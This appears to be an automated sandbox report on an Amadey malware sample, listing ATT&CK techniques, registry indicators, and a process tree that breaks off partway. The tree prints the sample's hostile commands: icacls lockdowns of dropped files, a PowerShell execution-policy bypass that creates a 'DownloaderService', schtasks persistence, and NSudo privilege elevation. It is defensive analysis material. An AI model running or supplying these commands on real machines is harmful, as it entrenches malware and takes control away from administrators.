amadey | 1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2i6021.exe

NirSoft NirCmd 1 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral1/files/0x00090000000244e6-66.dat	NirCmd

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

Modify Registry

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2i6021.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2i6021.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	systemhelper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	game.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 50 IoCs

pid	Process
4624	1E06g6.exe
3356	1E06g6.exe
3016	01IOHfYR.exe
4580	2i6021.exe
4972	systemhelper.exe
3680	winloghelper.exe
4328	nircmd.exe
2492	NSudoLG.exe
4908	01IOHfYR.exe
4780	01IOHfYR.exe
2472	7z.exe
3268	game.exe
3860	game.exe
856	01IOHfYR.exe
4168	game.exe
1340	IObitUnlocker.exe
4852	01IOHfYR.exe
2880	IObitUnlocker.sys
2244	IObitUnlocker.exe
4236	IObitUnlocker.exe
4712	IObitUnlocker.exe
1408	IObitUnlocker.exe
4904	IObitUnlocker.exe
2368	01IOHfYR.exe
4900	IObitUnlocker.exe
3880	IObitUnlocker.exe
4932	01IOHfYR.exe
2468	01IOHfYR.exe
3220	01IOHfYR.exe
4952	01IOHfYR.exe
2472	01IOHfYR.exe
4480	01IOHfYR.exe
1220	01IOHfYR.exe
4580	01IOHfYR.exe
948	01IOHfYR.exe
4660	01IOHfYR.exe
4732	01IOHfYR.exe
4720	01IOHfYR.exe
3584	01IOHfYR.exe
4592	01IOHfYR.exe
3088	01IOHfYR.exe
4300	01IOHfYR.exe
1332	01IOHfYR.exe
1708	01IOHfYR.exe
4632	01IOHfYR.exe
420	winloghelper.exe
5028	01IOHfYR.exe
1816	01IOHfYR.exe
804	01IOHfYR.exe
4352	01IOHfYR.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Software\Wine	2i6021.exe

Loads dropped DLL 8 IoCs

pid	Process
1340	IObitUnlocker.exe
2244	IObitUnlocker.exe
4236	IObitUnlocker.exe
4712	IObitUnlocker.exe
1408	IObitUnlocker.exe
4904	IObitUnlocker.exe
4900	IObitUnlocker.exe
3880	IObitUnlocker.exe

Modifies file permissions 1 TTPs 9 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3768	icacls.exe
1828	icacls.exe
1600	icacls.exe
5080	icacls.exe
2820	icacls.exe
2388	icacls.exe
2260	icacls.exe
3788	icacls.exe
4412	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3620	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4580	2i6021.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\01IOHfYR.exe	1E06g6.exe
File created	C:\Windows\winloghelper.exe	1E06g6.exe
File created	C:\Windows\systemhelper.exe	1E06g6.exe
File opened for modification	C:\Windows\winloghelper.exe	1E06g6.exe
File opened for modification	C:\Windows\systemhelper.exe	1E06g6.exe
File created	C:\Windows\01IOHfYR.exe	1E06g6.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2948	sc.exe
2240	sc.exe
3040	sc.exe
4608	sc.exe
32	sc.exe
4756	sc.exe
2208	sc.exe
2216	sc.exe
1904	sc.exe
556	sc.exe
2268	sc.exe
1252	sc.exe
3960	sc.exe
4264	sc.exe
2356	sc.exe
2008	sc.exe
4716	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
696	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4168	cmd.exe
3324	cmd.exe
3560	cmd.exe
4076	cmd.exe
1696	cmd.exe
2004	cmd.exe
4748	cmd.exe
4736	cmd.exe
1560	cmd.exe
4244	cmd.exe
4980	cmd.exe
224	cmd.exe
3612	cmd.exe
3976	cmd.exe
4220	cmd.exe
4288	cmd.exe
1700	cmd.exe
4124	cmd.exe
4520	cmd.exe
1648	cmd.exe
1820	cmd.exe
4392	cmd.exe
4144	cmd.exe
2024	cmd.exe
5012	cmd.exe
752	cmd.exe

Program crash 29 IoCs

pid	pid_target	Process	procid_target
2240	3016	WerFault.exe	123
2340	4908	WerFault.exe	147
4684	4780	WerFault.exe	150
1956	856	WerFault.exe	208
1656	4852	WerFault.exe	227
1172	2368	WerFault.exe	237
2248	4932	WerFault.exe	252
3492	2468	WerFault.exe	255
1620	3220	WerFault.exe	258
3076	4952	WerFault.exe	261
216	2472	WerFault.exe	264
1540	4480	WerFault.exe	267
1536	1220	WerFault.exe	270
3488	4580	WerFault.exe	273
3040	948	WerFault.exe	276
2520	4660	WerFault.exe	279
3904	4732	WerFault.exe	282
5040	4720	WerFault.exe	285
4600	3584	WerFault.exe	288
4236	4592	WerFault.exe	291
4456	3088	WerFault.exe	294
4964	4300	WerFault.exe	297
2616	1332	WerFault.exe	300
4844	1708	WerFault.exe	303
2968	4632	WerFault.exe	306
1144	5028	WerFault.exe	312
2656	1816	WerFault.exe	315
4816	804	WerFault.exe	318
3556	4352	WerFault.exe	321

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2i6021.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1E06g6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winloghelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1E06g6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systemhelper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
2244	taskkill.exe
4836	taskkill.exe
2956	taskkill.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
3468	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
816	schtasks.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
696	powershell.exe
696	powershell.exe
4580	2i6021.exe
4580	2i6021.exe
2492	NSudoLG.exe
2492	NSudoLG.exe
1340	IObitUnlocker.exe
1340	IObitUnlocker.exe
1340	IObitUnlocker.exe
1340	IObitUnlocker.exe
2244	IObitUnlocker.exe
2244	IObitUnlocker.exe
2244	IObitUnlocker.exe
2244	IObitUnlocker.exe
4236	IObitUnlocker.exe
4236	IObitUnlocker.exe
4236	IObitUnlocker.exe
4236	IObitUnlocker.exe
4712	IObitUnlocker.exe
4712	IObitUnlocker.exe
4712	IObitUnlocker.exe
4712	IObitUnlocker.exe
1408	IObitUnlocker.exe
1408	IObitUnlocker.exe
1408	IObitUnlocker.exe
1408	IObitUnlocker.exe
4904	IObitUnlocker.exe
4904	IObitUnlocker.exe
4904	IObitUnlocker.exe
4904	IObitUnlocker.exe
4900	IObitUnlocker.exe
4900	IObitUnlocker.exe
4900	IObitUnlocker.exe
4900	IObitUnlocker.exe
3880	IObitUnlocker.exe
3880	IObitUnlocker.exe
3880	IObitUnlocker.exe
3880	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeRestorePrivilege	3768	icacls.exe
Token: SeRestorePrivilege	2388	icacls.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeRestorePrivilege	5080	icacls.exe
Token: SeDebugPrivilege	2492	NSudoLG.exe
Token: SeDebugPrivilege	3620	tasklist.exe
Token: SeRestorePrivilege	2472	7z.exe
Token: 35	2472	7z.exe
Token: SeSecurityPrivilege	2472	7z.exe
Token: SeSecurityPrivilege	2472	7z.exe
Token: SeDebugPrivilege	2244	taskkill.exe
Token: SeRestorePrivilege	3952	reg.exe
Token: SeRestorePrivilege	1880	reg.exe
Token: SeLoadDriverPrivilege	3860	game.exe
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeLoadDriverPrivilege	4168	game.exe
Token: SeDebugPrivilege	2956	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
1340	IObitUnlocker.exe
2244	IObitUnlocker.exe
4236	IObitUnlocker.exe
4712	IObitUnlocker.exe
1408	IObitUnlocker.exe
4904	IObitUnlocker.exe
4900	IObitUnlocker.exe
3880	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5008 wrote to memory of 4624	5008	jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe	86
PID 4624 wrote to memory of 4288	4624	1E06g6.exe	88
PID 4288 wrote to memory of 3768	4288	cmd.exe	90
PID 4624 wrote to memory of 2024	4624	1E06g6.exe	91
PID 2024 wrote to memory of 1828	2024	cmd.exe	93
PID 4624 wrote to memory of 1700	4624	1E06g6.exe	94
PID 1700 wrote to memory of 2820	1700	cmd.exe	96
PID 4624 wrote to memory of 4124	4624	1E06g6.exe	97
PID 4124 wrote to memory of 2388	4124	cmd.exe	99
PID 4624 wrote to memory of 4736	4624	1E06g6.exe	100
PID 4736 wrote to memory of 2260	4736	cmd.exe	102
PID 4624 wrote to memory of 1560	4624	1E06g6.exe	103
PID 1560 wrote to memory of 1600	1560	cmd.exe	105
PID 4624 wrote to memory of 4244	4624	1E06g6.exe	106
PID 4244 wrote to memory of 696	4244	cmd.exe	108
PID 4624 wrote to memory of 4980	4624	1E06g6.exe	109
PID 4980 wrote to memory of 4060	4980	cmd.exe	111
PID 4060 wrote to memory of 3320	4060	net.exe	112
PID 3356 wrote to memory of 224	3356	1E06g6.exe	114
PID 224 wrote to memory of 5080	224	cmd.exe	116
PID 3356 wrote to memory of 1696	3356	1E06g6.exe	117
PID 1696 wrote to memory of 3788	1696	cmd.exe	119
PID 3356 wrote to memory of 2004	3356	1E06g6.exe	120
PID 2004 wrote to memory of 4412	2004	cmd.exe	122
PID 3356 wrote to memory of 3016	3356	1E06g6.exe	123
PID 4624 wrote to memory of 5012	4624	1E06g6.exe	127
PID 5012 wrote to memory of 816	5012	cmd.exe	129
PID 4624 wrote to memory of 752	4624	1E06g6.exe	130
PID 4624 wrote to memory of 4748	4624	1E06g6.exe	131
PID 5008 wrote to memory of 4580	5008	jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe	134
PID 4748 wrote to memory of 4972	4748	cmd.exe	135
PID 752 wrote to memory of 3680	752	cmd.exe	136
PID 4972 wrote to memory of 3612	4972	systemhelper.exe	138
PID 3612 wrote to memory of 4328	3612	cmd.exe	142
PID 3612 wrote to memory of 1140	3612	cmd.exe	143
PID 3612 wrote to memory of 3220	3612	cmd.exe	144
PID 3612 wrote to memory of 1312	3612	cmd.exe	145
PID 3612 wrote to memory of 2492	3612	cmd.exe	146
PID 3356 wrote to memory of 4908	3356	1E06g6.exe	147
PID 3356 wrote to memory of 4780	3356	1E06g6.exe	150
PID 3612 wrote to memory of 1912	3612	cmd.exe	153
PID 3612 wrote to memory of 4168	3612	cmd.exe	154
PID 3612 wrote to memory of 4112	3612	cmd.exe	155
PID 3612 wrote to memory of 2112	3612	cmd.exe	156
PID 3612 wrote to memory of 3324	3612	cmd.exe	157
PID 3324 wrote to memory of 3620	3324	cmd.exe	158
PID 3612 wrote to memory of 2352	3612	cmd.exe	160
PID 3612 wrote to memory of 1136	3612	cmd.exe	161
PID 3612 wrote to memory of 636	3612	cmd.exe	162
PID 3612 wrote to memory of 2124	3612	cmd.exe	163
PID 3612 wrote to memory of 5040	3612	cmd.exe	164
PID 3612 wrote to memory of 1564	3612	cmd.exe	165
PID 3612 wrote to memory of 420	3612	cmd.exe	166
PID 3612 wrote to memory of 5028	3612	cmd.exe	167
PID 3612 wrote to memory of 1620	3612	cmd.exe	168
PID 3612 wrote to memory of 3080	3612	cmd.exe	169
PID 3612 wrote to memory of 2672	3612	cmd.exe	170
PID 3612 wrote to memory of 3436	3612	cmd.exe	171
PID 3612 wrote to memory of 1976	3612	cmd.exe	172
PID 3612 wrote to memory of 404	3612	cmd.exe	173
PID 3612 wrote to memory of 3808	3612	cmd.exe	174
PID 3612 wrote to memory of 4480	3612	cmd.exe	175
PID 3612 wrote to memory of 4808	3612	cmd.exe	176
PID 3612 wrote to memory of 1872	3612	cmd.exe	177

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_1391fb36bb13581c0de54383cd10fc261c831c75fb56a7fd9bab4b98a6e4e42c.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3768
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1828
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1700
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2388
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2260
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1600
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe" -StartupType Automatic"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1E06g6.exe" -StartupType Automatic"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:696
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c net start "DownloaderService"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\SysWOW64\net.exe
      net start "DownloaderService"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4060
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start "DownloaderService"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3320
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:816
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:752
  - - C:\Windows\winloghelper.exe
      "C:\Windows\winloghelper.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3680
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\systemhelper.exe
      "C:\Windows\systemhelper.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4972
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AlX5Tys.bat" "
        5⤵
        Executes a command shell one-liner
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3612
      - C:\Users\Admin\AppData\Local\Temp\hater\nircmd.exe
        
        nircmd win min process "cmd.exe"
        6⤵
        Executes dropped EXE
        
        PID:4328
      - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1140
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKU\S-1-5-19"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3220
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f
        6⤵
        System Location Discovery: System Language Discovery
        Modifies data under HKEY_USERS
        
        PID:1312
      - C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe
        
        NSudoLG -U:T -P:E -UseCurrentConsole "C:\Users\Admin\AppData\Local\Temp\AlX5Tys.bat" any_word
        6⤵
